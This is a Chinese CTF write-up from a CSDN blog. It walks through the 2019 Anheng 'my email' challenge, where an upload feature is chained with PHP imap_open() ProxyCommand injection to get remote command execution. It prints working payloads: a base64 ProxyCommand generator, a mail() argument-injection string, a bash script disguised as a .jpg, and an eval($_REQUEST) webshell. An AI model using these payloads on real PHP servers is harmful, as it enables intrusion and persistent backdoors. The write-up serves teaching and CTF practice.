容器 php imap,从一道题看imap_open() RCE

本文介绍了通过邮箱授权功能结合PHP的imap_open函数进行远程命令执行(RCE)的攻击过程。作者首先发现了文件上传功能,并确定了文件路径可控点,然后利用邮箱授权功能,通过构造特定的imap_open参数,成功触发RCE,最终获取shell。过程中涉及了文件上传、邮箱授权、PHP函数漏洞利用等多个环节,展示了渗透测试中的思路转换和问题解决策略。
摘要由CSDN通过智能技术生成

171707?appinstall=0

前言

本题为2019安恒2月月赛的my email,从漏洞点发现到getshell还是有点意思的,以下是记录

信息搜集

拿到题目先看一遍功能,发现存在注册和登录功能

171707?appinstall=0

随便注册个账号,登入,得到信息

171707?appinstall=0

发现还有完善信息页面

171707?appinstall=0

看样子需要邮箱授权,我们随便测试一下

171707?appinstall=0

虽然提示我授权失败,但是来到主页,已经完善信息完成

171707?appinstall=0

发现增加功能:更换背景

http://101.71.29.5:10014/user/upload.php

发现是文件上传功能

我们测试一下,随意上传一个图片,查看一下源代码,发现

body{

background-image: url(./user/skysky.jpg);

background-size: 100%,100%;

width: 100%;

height: 100%;

}

得到上传路径与命名规则

$dir = './user/'.$username.'.jpg';

不难发现,最后保存路径存在可控点$username,我们进行二次注入探测

注册用户

skysky.php%00

登入后发现用户名变为

skysky.php

猜测应该注册处存在

addslashes($username)

那么应该很难使用$username去上传shell

攻击点思考

目前来看,情况僵硬,必须思考一下如何串联上述功能进行攻击了

既然不是直接upload+register进行getshell,那么势必需要用到邮件功能

不妨google一下

php+mail+rce

发现如下两个函数

PHP mail()

PHP imap_open()

为进一步确定方向和攻击点,我们看一下邮箱处需要的参数

171707?appinstall=0

我们再看上述3种和邮件有关的RCE

首先是

PHP mail()

我们知道其参数为

bool mail(

string $to,

string $subject,

string $message [,

string $additional_headers [,

string $additional_parameters ]]

)

这里的界面应该类似于写邮件,例如

171707?appinstall=0

而漏洞点即在于mail函数的第五个参数没有正确过滤,我们可以通过如下方式进行RCE

email=

-sky@skysec.top -OqueueDirectory=/ -Xskyskysky.php

title=

而这里我们的参数为

email,sign,server

功能为邮箱授权,感觉有些对不上号,我们再看看imap_open()

imap_open ( string $mailbox , string $username , string $password [, int $options = 0 [, int $n_retries = 0 [, array $params = NULL ]]] ) : resource

漏洞点在于第一个参数$mailbox

详细解析可见

https://lab.wallarm.com/rce-in-php-or-how-to-bypass-disable-functions-in-php-installations-6ccdbf4f52bb

imap_open()攻击测试

于是综上所述,我们将目光放在imap_open()上开始测试,我们可利用如下脚本生成payload

$payload = $argv[1];

$encoded_payload = base64_encode($payload);

$server = “any -o ProxyCommand=echot”.$encoded_payload.”|base64t-d|bash}”;

print(“payload: {$server}”.PHP_EOL);

例如

any -o ProxyCommand=echotbHM=|base64t-d|bash}

我们测试一下,由于imap_open是php的扩展模块,我们这里选择找个docker测试

随便搜一个

docker search imap

171707?appinstall=0

选择一个后pull

docker pull fedosov/docker-php-imap-composer

进入容器进行测试

docker run -itd fedosov/docker-php-imap-composer /bin/bash

docker attach id

先写一个带有imap_open的1.php

$payload = "echo skysky|tee /tmp/success";

$encoded_payload = base64_encode($payload);

$server = "any -o ProxyCommand=echot".$encoded_payload."|base64t-d|bash";

@imap_open('{'.$server.'}:143/imap}INBOX', '', '');

171707?appinstall=0

我们可以明显看到,运行前tmp目录为空目录,运行后,tmp目录生成了success文件,文件内容为我们指定的skysky

这样一来攻击点就清晰了:利用邮箱授权功能往./user/目录写入shell即可

注:为什么不执行命令呢?因为这里命令不回显……写shell的话要方便很多

题目攻击点测试

生成payload脚本为

$payload = "echo '<?php phpinfo();' > /var/www/html/user/sky.php";

$encoded_payload = base64_encode($payload);

$server = "any -o ProxyCommand=echot".$encoded_payload."|base64t-d|bash";

echo $server;

得到

any -o ProxyCommand=echotZWNobyAnPD9waHAgcGhwaW5mbygpOycgPiAvdmFyL3d3dy9odG1sL3VzZXIvc2t5LnBocA==|base64t-d|bash

我们测试一下

171707?appinstall=0

发现参数不被允许提醒,此时猜测是不是存在过滤,我们测试一下

171707?appinstall=0

171707?appinstall=0

171707?appinstall=0

发现

base64,|,

均被过滤,那么既然如此,该如何进行任意文件写入呢?

upload助攻

此时不难想起,之前还有一个上传功能,路径如下

$dir = './user/'.$username.'.jpg';

我们是已知文件名和路径的,那么能否在文件内容做文章,进行运用?

这里不难想到,可以直接使用bash filename

例如

171707?appinstall=0

那么我们只需要构造文件

echo 'echo "<?php phpinfo();"> skysky.php' > skysky.jpg

然后上传skysky.jpg,再利用imap_open() RCE即可

any -o ProxyCommand=bash skysky.jpg}

我们测试一下

171707?appinstall=0

171707?appinstall=0

171707?appinstall=0

发现成功执行phpinfo()

getflag

那么故技重施,即可getshell

echo 'echo "<?php eval($_REQUEST[sky]);"> skysky.php' > skysky.jpg

any -o ProxyCommand=bash skysky.jpg}

菜刀连上,即可getshell

171707?appinstall=0

171707?appinstall=0

后记

这道题目再一次说明了思路很重要,如果思路不明确,尝试注入,upload等则很容易被这道题目带入误区XD

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值